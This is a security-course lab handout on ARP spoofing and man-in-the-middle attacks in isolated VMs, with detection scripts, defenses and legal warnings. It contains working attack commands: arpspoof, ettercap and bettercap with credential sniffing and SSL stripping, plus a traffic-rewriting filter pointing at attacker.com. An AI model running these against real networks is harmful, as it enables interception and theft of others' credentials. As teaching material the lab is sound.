Lab 5.3: ARP Spoofing and Man-in-the-Middle

Learning Objectives

By the end of this lab, you will be able to:

• Understand the ARP protocol and its vulnerabilities
• Perform an ARP spoofing attack between two machines
• Position yourself as a Man-in-the-Middle on a network
• Intercept and analyze network traffic in real-time
• Capture credentials transmitted in clear text
• Detect an active ARP spoofing attack
• Implement protections against ARP spoofing
• Understand the importance of encryption

Estimated Duration

40 minutes

Prerequisites

• 3 VMs: Attacker (Kali), Victim (Windows), Router/Gateway (Windows or Linux)
• VirtualBox internal network
• Wireshark installed
• Understanding of the OSI and TCP/IP models
• Labs 5.1 and 5.2 completed

Professional Context

Man-in-the-Middle (MitM) attacks via ARP spoofing allow an attacker on the same local network to:

• Intercept all communications
• Steal credentials (HTTP, FTP, Telnet)
• Modify traffic in transit
• Redirect to malicious sites
• Conduct targeted phishing

Used in:

• Internal penetration tests
• Security demonstrations
• Attacks on public WiFi networks
• Industrial espionage
• Session theft

---

CRITICAL ETHICAL AND LEGAL WARNING

THIS LAB TEACHES AN ACTIVE NETWORK ATTACK

ARP spoofing is an attack that intercepts others' communications.

AUTHORIZED ONLY:

• On your isolated lab network (VMs)
• On test systems you own
• As part of tests authorized by written contract
• With explicit consent from all parties

STRICTLY PROHIBITED AND ILLEGAL:

• On public WiFi networks (cafes, airports, libraries)
• On corporate networks without authorization
• To intercept others' communications
• For credential theft or espionage

EXTREMELY SEVERE CONSEQUENCES:

• Interception of communications = Serious crime (Criminal Code art. 184)
• Comparable to wiretapping
• Prison up to 5 years
• Massive fines
• Permanent criminal record

MANDATORY CONFIGURATION:

• VMs network in INTERNAL mode only
• No Internet access
• Completely isolated environment

---

Part 1: Understanding ARP and its Vulnerabilities

Step 1.1: ARP Protocol (Address Resolution Protocol)

Role: Convert IP address to MAC address

Example:

PC wants to communicate with 192.168.100.20
PC only knows the IP, not the MAC address
PC broadcasts: "Who has IP 192.168.100.20?"
192.168.100.20 replies: "It's me! My MAC is AA:BB:CC:DD:EE:FF"
PC can now send Ethernet packets

ARP Table:

arp -a

Result:

Interface: 192.168.100.10
  Internet Address      Physical Address      Type
  192.168.100.1         00-11-22-33-44-55     dynamic
  192.168.100.20        AA-BB-CC-DD-EE-FF     dynamic

Problem: ARP has NO authentication!

• Anyone can reply
• No identity verification
• Blind trust

Step 1.2: ARP Vulnerability

ARP Spoofing Attack (ARP Poisoning):

1. Attacker sends fake ARP replies
2. Victim believes router's IP = attacker's MAC
3. Router believes victim's IP = attacker's MAC
4. All traffic goes through the attacker!

Diagram:

BEFORE:
Victim (192.168.100.20) <---> Router (192.168.100.1)

AFTER ARP Spoofing:
Victim (192.168.100.20) <---> Attacker (192.168.100.10) <---> Router (192.168.100.1)
                                     ↑
                              Man-in-the-Middle!

Questions:

1. Why is ARP vulnerable by design?
2. On which network does this attack work? (Local/Internet)

---

Part 2: Lab Setup

Step 2.1: Lab Architecture

3 Required VMs:

VM1 - Attacker (Kali Linux):
  IP: 192.168.100.10
  MAC: [Note it]
  Role: Perform ARP spoofing

VM2 - Victim (Windows):
  IP: 192.168.100.20
  MAC: [Note it]
  Role: Target of the attack

VM3 - Gateway/Router (Windows or Linux):
  IP: 192.168.100.1
  MAC: [Note it]
  Role: Simulated network gateway

Network: Internal Network "MitmLab"

On each VM, verify:

# Linux
ip addr
ip route

# Windows
ipconfig
route print

Step 2.2: Note MAC Addresses

On each VM:

Linux:

ip addr show
# Look for "link/ether"

Windows:

ipconfig /all
# Look for "Physical Address"

Note:

VM1 (Attacker):  IP: 192.168.100.10  MAC: 08:00:27:XX:XX:XX
VM2 (Victim):    IP: 192.168.100.20  MAC: 08:00:27:YY:YY:YY
VM3 (Gateway):   IP: 192.168.100.1   MAC: 08:00:27:ZZ:ZZ:ZZ

Step 2.3: Verify Initial Connectivity

On VM2 (Victim), check the ARP table:

arp -a

You should see:

192.168.100.1   00-11-22-33-44-55  (MAC of the real gateway)
192.168.100.10  08-00-27-XX-XX-XX  (MAC of the attacker)

Ping the gateway:

ping 192.168.100.1

Works normally.

Questions: 3. What is the current MAC address of the gateway in the victim's ARP table? 4. How many ARP entries are present?

---

Part 3: ARP Spoofing Attack

Step 3.1: Enable IP Forwarding

On VM1 (Attacker), BEFORE launching the attack:

Linux:

echo 1 > /proc/sys/net/ipv4/ip_forward

OR

sysctl -w net.ipv4.ip_forward=1

Verification:

cat /proc/sys/net/ipv4/ip_forward

Should display: 1

IMPORTANT: Without IP forwarding, traffic is blocked (DoS instead of MitM)!

Step 3.2: Launch the Attack with arpspoof

arpspoof (classic tool):

Terminal 1 - Poison the Victim:

sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1

Command:

• -i eth0 - Network interface
• -t 192.168.100.20 - Target (victim)
• 192.168.100.1 - IP to spoof (gateway)

Result:

8:0:27:xx:xx:xx 8:0:27:yy:yy:yy 0806 42: arp reply 192.168.100.1 is-at 8:0:27:xx:xx:xx

Repeats continuously: "The gateway (192.168.100.1) has MY MAC address!"

Terminal 2 - Poison the Gateway:

sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20

Tells the gateway: "The victim (192.168.100.20) has MY MAC address!"

NOW: Active MitM attack!

Step 3.3: Verify the Attack

On VM2 (Victim), check the ARP table:

arp -a

BEFORE the attack:

192.168.100.1   00-11-22-33-44-55  (MAC of the real gateway)

AFTER the attack:

192.168.100.1   08-00-27-XX-XX-XX  (MAC of the ATTACKER!)

The ARP table has been poisoned!

Victim thinks the gateway = attacker!

Test:

ping 192.168.100.1

Ping works (thanks to IP forwarding), but goes through the attacker!

Questions: 5. Has the MAC address of the gateway changed in the victim's ARP table? 6. Is the traffic now passing through the attacker?

---

Part 4: Traffic Interception

Step 4.1: Capture with Wireshark

On VM1 (Attacker), launch Wireshark:

sudo wireshark &

1. Select the network interface (eth0)
2. Start the capture
3. ALL victim's traffic is captured!

On VM2 (Victim), generate traffic:

ping google.com

On Wireshark (VM1):

• Filter: icmp
• You see the victim's pings!

You intercept another machine's traffic!

Step 4.2: Capture HTTP Credentials

On VM2 (Victim), visit an HTTP site (not HTTPS):

Legal test sites:

• http://testphp.vulnweb.com
• http://neverssl.com
• http://example.com

On VM1 (Wireshark), filter:

http

You see:

• All HTTP requests
• Complete headers
• User-Agent
• Cookies
• Clear text credentials if login!

Follow HTTP Stream:

1. Right-click on HTTP packet
2. Follow → HTTP Stream
3. Complete conversation visible!

If HTTP login site:

POST /login HTTP/1.1
Host: example.com

username=admin&password=SecretPassword123

Password CAPTURED in clear text!

Step 4.3: Difference HTTP vs HTTPS

On VM2, now visit:

https://google.com

On Wireshark:

• Filter: tls or ssl
• You see the encrypted connection
• Impossible to see the content!

Encrypted data:

Content Type: Application Data
Encrypted Application Data: <unreadable data>

Comparison:

• HTTP: EVERYTHING visible (URL, headers, passwords, content)
• HTTPS: Only destination IP visible, content encrypted

Questions: 7. Did you manage to capture HTTP traffic from the victim? 8. Can you see the content of HTTPS requests?

---

Part 5: Advanced MitM Tools

Step 5.1: Ettercap (Comprehensive and Graphical)

Ettercap: MitM tool with GUI and advanced features

Launch:

sudo ettercap -G

Configuration:

1. Sniff → Unified sniffing
2. Select interface (eth0)
3. Hosts → Scan for hosts
4. Hosts → Hosts list
5. Select Victim → Add to Target 1
6. Select Gateway → Add to Target 2
7. MitM → ARP poisoning
8. Check "Sniff remote connections"
9. Start → Start sniffing

BOOM! Active MitM attack with GUI!

Features:

• Automatic host detection
• One-click ARP poisoning
• Automatic password capture
• Filters to modify traffic
• Detailed logs

Step 5.2: Ettercap Filters (Traffic Modification)

Ettercap can MODIFY traffic in transit!

Example filter: Replace images with other images

Create replace.filter:

if (ip.proto == TCP && tcp.dst == 80) {
  if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Rubbish!");
  }
}

if (ip.proto == TCP && tcp.src == 80) {
  replace("img src=", "img src=\"http://attacker.com/fake.jpg\" alt=\"");
}

Compile:

etterfilter replace.filter -o replace.ef

Use in Ettercap:

Filters → Load a filter → replace.ef

Result: All images on HTTP sites are replaced!

Step 5.3: Bettercap (Modern)

Modern and powerful tool:

sudo bettercap -iface eth0

Interactive commands:

# Network discovery
net.probe on
net.show

# ARP spoofing
set arp.spoof.targets 192.168.100.20
arp.spoof on

# Capture credentials
set net.sniff.verbose true
net.sniff on

# HTTP(S) stripping
set http.proxy.sslstrip true
http.proxy on

Web interface:

sudo bettercap -iface eth0 -caplet http-ui

Access: http://127.0.0.1:80 (complete web interface!)

Questions: 9. Which tool do you prefer (arpspoof, ettercap, bettercap)? 10. Can Bettercap downgrade HTTPS to HTTP?

---

Part 6: ARP Spoofing Detection

Step 6.1: Manual Detection

On a machine, monitor the ARP table:

PowerShell:

while ($true) {
    Clear-Host
    Write-Host "=== ARP TABLE MONITORING ===" -ForegroundColor Cyan
    arp -a
    Start-Sleep -Seconds 2
}

Observation:

• If an IP changes MAC frequently: SUSPECT!
• If two IPs have the same MAC: ARP SPOOFING!

Example anomaly:

192.168.100.1   08-00-27-AA-AA-AA
192.168.100.10  08-00-27-AA-AA-AA  <- SAME MAC = ATTACK!

Step 6.2: Detection with Tools

arpwatch (Linux):

sudo apt install arpwatch
sudo arpwatch -i eth0

Logs in: /var/log/arpwatch.log

Alerts on:

• New hosts
• MAC changes
• Flip-flop (MAC changes then reverts)

XArp (Windows):

• GUI tool for ARP monitoring
• Real-time alerts
• Free

PowerShell Detection Script:

$baseline = @{}
arp -a | ForEach-Object {
    if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
        $baseline[$matches[1]] = $matches[2]
    }
}

while ($true) {
    Start-Sleep -Seconds 5
    
    $current = @{}
    arp -a | ForEach-Object {
        if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
            $current[$matches[1]] = $matches[2]
        }
    }
    
    # Compare
    foreach ($ip in $baseline.Keys) {
        if ($current[$ip] -and $current[$ip] -ne $baseline[$ip]) {
            Write-Host "ALERT: IP $ip MAC changed!" -ForegroundColor Red
            Write-Host "  Was: $($baseline[$ip])"
            Write-Host "  Now: $($current[$ip])"
        }
    }
    
    $baseline = $current.Clone()
}

Step 6.3: Network Detection

With Nmap:

nmap --script=arp-scan 192.168.100.0/24

Detects:

• MAC address duplications
• Suspicious ARP replies

Questions: 11. Does your detection script alert during the attack? 12. How long does it take to detect the attack?

---

Part 7: Defenses Against ARP Spoofing

Step 7.1: Static ARP

Set static (non-modifiable) ARP entries:

arp -s 192.168.100.1 00-11-22-33-44-55

Verification:

arp -a

Type: static instead of dynamic

Advantage: Immune to ARP spoofing!

Disadvantage: Manual configuration, difficult maintenance

Step 7.2: Port Security (Switch)

On a managed switch:

Configure port security to:

• Limit number of MACs per port
• Bind MAC to specific port
• Shutdown port if violation

Example Cisco configuration:

interface FastEthernet0/1
 switchport mode access
 switchport port-security
 switchport port-security maximum 1
 switchport port-security violation shutdown
 switchport port-security mac-address sticky

Result: Only one MAC allowed per port, change = shutdown!

Step 7.3: Software Solutions

Windows:

• XArp (monitoring and alerts)
• ArpON (protection daemon)

Linux:

• arpwatch (monitoring)
• ArpON (active protection)

Firewall:

• Rules to block abnormal traffic
• ARP inspection

Segmentation:

• VLANs to isolate sensitive areas
• Limit scope of MitM attacks

Questions: 13. Which protection method is the most effective? 14. Is it realistic to configure static ARP on a large network?

---

Part 8: Real Scenarios

Step 8.1: Public WiFi Attack

Typical scenario:

1. Cafe with public WiFi
2. Attacker connects to the same network
3. Launches ARP spoofing
4. Intercepts ALL client traffic
5. Captures credentials, cookies, data

Captured data:

• Logins on HTTP sites
• Session cookies
• Emails (if POP3/IMAP unencrypted)
• FTP credentials
• Web searches

User protection:

• VPN on public WiFi (MANDATORY!)
• Only HTTPS
• No banking/email on public WiFi

Step 8.2: Enterprise Network

Internal attacker or via phishing:

1. Initial compromise of a workstation
2. ARP spoofing on the network segment
3. Traffic interception
4. Domain credentials capture
5. Lateral movement with stolen credentials
6. Complete network compromise

Time: Can take just a few hours!

Step 8.3: Combined Attack

ARP Spoofing + DNS Spoofing:

1. Active MitM via ARP
2. Modify DNS replies
3. Redirect to fake sites (phishing)
4. Credential theft even on HTTPS (with self-signed certificate + ignored warning)

With Ettercap:

• Integrated DNS spoofing
• Traffic modification
• SSL stripping (downgrade HTTPS → HTTP)

Questions: 15. Why are public WiFi networks particularly dangerous? 16. How does a VPN protect against ARP spoofing?

---

Deliverables

To submit:

1. MitM Attack Report (Word/PDF, 4-5 pages):

   • Answers to the 16 questions
   • Complete description of the lab architecture
   • Step-by-step attack methodology
   • Analysis of captured traffic
   • Time required for the attack

2. Screenshots (minimum 8):

   • ARP table BEFORE the attack (victim)
   • ARP table AFTER the attack (modified victim)
   • arpspoof in action (terminal)
   • Wireshark capturing victim's traffic
   • HTTP stream with visible credentials
   • HTTPS stream (encrypted)
   • Ettercap interface
   • Detection script alerting

3. Capture files:

   • Wireshark .pcapng with intercepted traffic
   • Ettercap or bettercap logs

4. Defense Documentation (2 pages):

   • Recommended detection measures
   • Protection solutions by layer (network, host, application)
   • WiFi security policy

---

Evaluation Criteria

Criterion	Points
Successful ARP spoofing attack	30%
Traffic interception and analysis	25%
Active attack detection	20%
Understanding of defenses	15%
Quality of documentation and screenshots	10%

---

Quick Reference Commands

Preparation

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

ARP Spoofing

# arpspoof
sudo arpspoof -i eth0 -t VICTIM GATEWAY
sudo arpspoof -i eth0 -t GATEWAY VICTIM

# ettercap
sudo ettercap -T -M arp:remote /VICTIM// /GATEWAY//
sudo ettercap -G  # GUI

# bettercap
sudo bettercap -iface eth0
> set arp.spoof.targets VICTIM
> arp.spoof on

Detection

arp -a                    # Check ARP table

arpwatch -i eth0          # Monitoring
nmap --script arp-scan NETWORK

Cleanup

# Stop arpspoof: Ctrl+C
# On victim, clear ARP cache:
arp -d                    # Windows
sudo ip -s -s neigh flush all  # Linux

---

Troubleshooting

Problem: Victim loses connectivity during the attack

Solution: IP forwarding not enabled on the attacker. Check:

cat /proc/sys/net/ipv4/ip_forward

Must be 1.

Problem: No traffic captured

Solutions:

• Check both arpspoof are running (victim AND gateway)
• Verify Wireshark is listening on the correct interface
• Generate traffic from the victim

Problem: ARP table does not change

Solution:

• Is arpspoof really running? Check output
• Firewall may block ARP
• Some switches have ARP protection (Port Security)

---

Conclusion

This lab taught you:

• ARP protocol and its fundamental vulnerabilities
• Performing a Man-in-the-Middle attack via ARP spoofing
• Real-time network traffic interception
• Capture of credentials transmitted in clear text
• Detection of active ARP attacks
• Multi-layer protection measures

Key Lessons:

1. ARP has no security by design (blind trust)
2. Attacker on local network can intercept ALL unencrypted traffic
3. HTTP is completely vulnerable to MitM
4. HTTPS protects against interception (importance of encryption)
5. Public WiFi = Extreme danger without VPN
6. Detection possible but protection complex

Awareness:

• Never use HTTP for sensitive data again
• VPN mandatory on public WiFi
• Encryption = Only true protection
• Local network ≠ Safe network

MODULE 5 Summary:

You now master complete network reconnaissance:

• Lab 5.1: Nmap (network mapping, vulnerability detection)
• Lab 5.2: DNS enumeration (infrastructure discovery)
• Lab 5.3: ARP spoofing (active interception)

Combined, these techniques allow for complete network reconnaissance and compromise!

---

Lab developed as part of the Operating Systems course - MODULE 5